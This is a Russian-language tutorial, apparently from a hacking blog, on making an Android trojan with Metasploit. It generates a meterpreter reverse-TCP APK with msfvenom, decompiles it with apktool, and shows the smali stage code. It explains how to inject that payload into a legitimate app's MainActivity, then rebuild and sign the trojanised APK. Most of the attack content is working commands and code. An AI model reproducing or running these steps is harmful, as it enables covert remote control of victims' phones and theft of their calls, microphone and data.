Процесс создания полезной нагрузки для Android похож на создание пейлоада для ОС Linux. Структура каталогов может быть другой, но вам, как и раньше, придется изменить установочный файл для внедрения своей полезной нагрузки. Установочный файл Android называется Android Package (APK) и содержит все, что необходимо Android для установки нового приложения.
Еще по теме: Обход антивируса в Meterpreter
Создание полезной нагрузки для Android в MSFVenom
Начнем с создания вредоносного APK-файла с помощью инструмента MSFVenom.
Создайте новую папку на рабочем столе под названием AndroidTrojan и перейдите к ней:
1 |
kali@kali:~$ cd ~/Desktop/AndroidTrojan |
Затем сгенерируйте новый вредоносный APK-файл, содержащий имплант в виде обратной оболочки:
1 |
kali@kali:~/Desktop/AndroidTrojan$ msfvenom -p android/meterpreter/reverse_tcp LHOST= <IP-адрес Kali> LPORT=443 > malicious.apk |
Эта команда создает новый APK-файл со встроенным в него вредоносным кодом.
В следующей главе разберем данное приложение и обсудим его структуру, что поможет вам создать собственный троян для ОС Android.
Анализ APK-файла для изучения полезной нагрузки
Команда, использовавшаяся в предыдущем примере, сделала всю работу за нас. Чтобы понять, как именно она скрыла полезную нагрузку, декомпилируем установочный файл malware.apk и исследуем его структуру каталогов.
Для декомпиляции APK-файла используем инструмент реверс инжиниринга apktool.
Выполните следующую команду, чтобы скачать и установить его:
1 |
kali@kali:~/Desktop/AndroidTrojan$ sudo apt-get install apktool |
Чтобы декомпилировать (d) файл, выполните команду:
1 2 3 4 5 6 7 8 9 |
kali@kali:~/Desktop/AndroidTrojan$ apktool d malicious.apk Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true I: Using Apktool 2.4.1-dirty on malicious2.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... ... |
Этот инструмент создаст папку с именем malicious, содержащую декомпилированные файлы. Перейдите в нее и выведите список всех файлов и папок в каталоге, используя следующие команды:
1 2 |
kali@kali:~/Desktop/AndroidTrojan$ cd malicious kali@kali:~/Desktop/AndroidTrojan/malicious$ ls |
После этого вы должны увидеть следующие файлы и папки: AndroidManifest.xml, apktool.yml, original, res и smali. Файл AndroidManifest.xml содержит описание приложения. Ниже приведен фрагмент его содержимого:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
kali@kali:~/Desktop/AndroidTrojan/malicious$ cat AndroidManifest.xml <manifest/> ... <uses-permission android:name="android.permission.READ_CALL_LOG"/> <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> ... <uses-feature android:name="android.hardware.microphone"/> <application android:label="@string/app_name"> <<activity android:label="@string/app_name" android:name=".MainActivity" android:theme="@android:style/Theme.NoDisplay"> <intent-filter> action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> ... </manifest> |
Этот файл также содержит разрешения приложения, например, на получение доступа к камере или журналу вызовов. Кроме того, он включает информацию о точке входа в приложение, то есть первый файл, с которого начинается выполнение программы при запуске.
Файл apktool.yml содержит информацию об APK-файле, в том числе номер версии и тип сжатия. В папке original находится скомпилированная версия AndroidManifest.xml, файл, содержащий его хеш, и файлы с информацией о подписях. Папка res содержит такие ресурсы приложения, как изображения или строки.
Наконец, в папке smali находятся ассемблерные файлы, связанные с приложением. Туда же мы поместили имплант. Вы можете просмотреть ассемблерные файлы, относящиеся к импланту Metasploit, передав команде ls имя каталога smali/com/metasploit/stage/:
1 2 3 4 |
kali@kali:~/Desktop/AndroidTrojan/malicious$ ls smali/com/metasploit/stage/ a.smali c.smali e.smali g.smali MainBroadcastReceiver.smali Payload.smali b.smali d.smali f.smali MainActivity.smali MainService.smali |
Если вам доводилось работать с мобильными приложениями, то вы, вероятно, ожидали увидеть файл .dex. Эти файлы содержат байт-код, выполняемый Android Runtime (ART). Причина его отсутствия заключается в том, что формат smali является ассемблерным представлением, а .dex — машинным представлением кода приложения. Файл Payload.smali содержит код, связанный с нашим вредоносной полезной нагрузкой, и чуть позже мы перенесем его в другой APK-файл, чтобы создать троянскую программу.
А пока исследуем файл MainActivity.smali:
1 2 3 4 5 6 7 8 9 10 11 12 |
.class public Lcom/metasploit/stage/MainActivity; .super Landroid/app/Activity; ... # virtual methods .method protected onCreate(Landroid/os/Bundle;)V .locals 0 invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V invoke-static {p0}, Lcom/metasploit/stage/MainService;->startService (Landroid/content/Context;)V invoke-virtual {p0}, Lcom/metasploit/stage/MainActivity;->finish()V return-void .end method |
Вредоносный APK-файл запускает MainService‚ созданный разработчиками Metasploit Framework вредоносный Android-сервис, который загрузит полезную нагрузку в фоновом режиме. Если вы хотите сразу запустить вредоносную полезную нагрузку, то можете добавить следующий фрагмент в приведенный выше код:
1 |
invoke-static {p0}, Lcom/metasploit/stage/Payload;->onCreate(Landroid/content/Context;)V |
Точно так же вы можете создать собственную троянскую программу, декомпилировав существующий APK-файл, скопировав папку Metasploit в папку smali, а затем добавив предыдущий фрагмент в MainActivity.smali для запуска кода полезной нагрузки.
Сборка и подписывание APK-файла
После исследования файла мы можем снова собрать его, выполнив следующую команду:
1 |
kali@kali:~/Desktop/AndroidTrojan/$ apktool build ~/Desktop/AndroidTrojan/malicious -o malicious2.apk |
Чтобы приложение можно было запускать на устройстве Android, его необходимо подписать. Вы можете сделать это с помощью инструмента Java Keystore, который хранит такие данные, как открытые и закрытые ключи, используемые для подписи.
Материал ключа никогда не покидает это хранилище. Вместо этого приложение передает в Keystore данные, а хранилище использует материал защищенного ключа для подписи или шифрования этих данных, после чего возвращает результаты, как показано на скрине ниже. Некоторые системы используют для хранения материала ключа отдельное защищенное оборудование, которое называется доверенной средой выполнения.
Выполните следующую команду, чтобы установить Java Development Kit (JDK), содержащий инструменты, с помощью которых мы будем подписывать троянский APK-файл:
1 |
kali@kali:~/Desktop/AndroidTrojan/$ sudo apt install -y default-jdk |
Сгенерируйте RSA-ключ для подписывания трояна с помощью команды:
1 |
kali@kali:~/Desktop/AndroidTrojan/$ keytool -genkey -keystore my-malicious .keystore -alias alias_name_malicious -keyalg RSA -keysize 3072 -validity 10000 |
Мы используем утилиту Java keytool для генерации нового ключа (-genkey). Вместо того чтобы отображать пару ключей, мы сохраняем их в файле Keystore (-keystore), который называется my-malicious.keystore. Хранилище Keystore может хранить несколько записей, каждая из которых имеет псевдоним (-alias). Наша запись называется alias_name_malicious. Следующий параметр определяет криптографический алгоритм (-keyalg). В данном случае мы выбрали RSA и задали в качестве размера ключа (-keysize) значение 3072. Мы также указали, что ключ должен оставаться действительным (-validity) в течение 10 000 дней.
Теперь используем утилиту Java jarsigner, чтобы подписать APK-файл:
1 |
kali@kali:~/Desktop/AndroidTrojan/$ jarsigner -sigalg SHA2withRSA -digestalg SHA2 -keystore my-malicious.keystore malicious2.apk alias_name_malicious |
Сначала мы выбираем алгоритм создания подписи, в данном случае — это SHA2 с RSA (-sigalg SHA2withRSA). Затем используем SHA2 в качестве хеш/дайджестфункции (-digestalg SHA2). Наконец, указываем хранилище ключей (-keystore) и псевдоним ключа. В данном случае мы используем только что созданное хранилище ключей (my-malicious.keystore) и запись с псевдонимом (alias_name_malicious).
Еще по теме: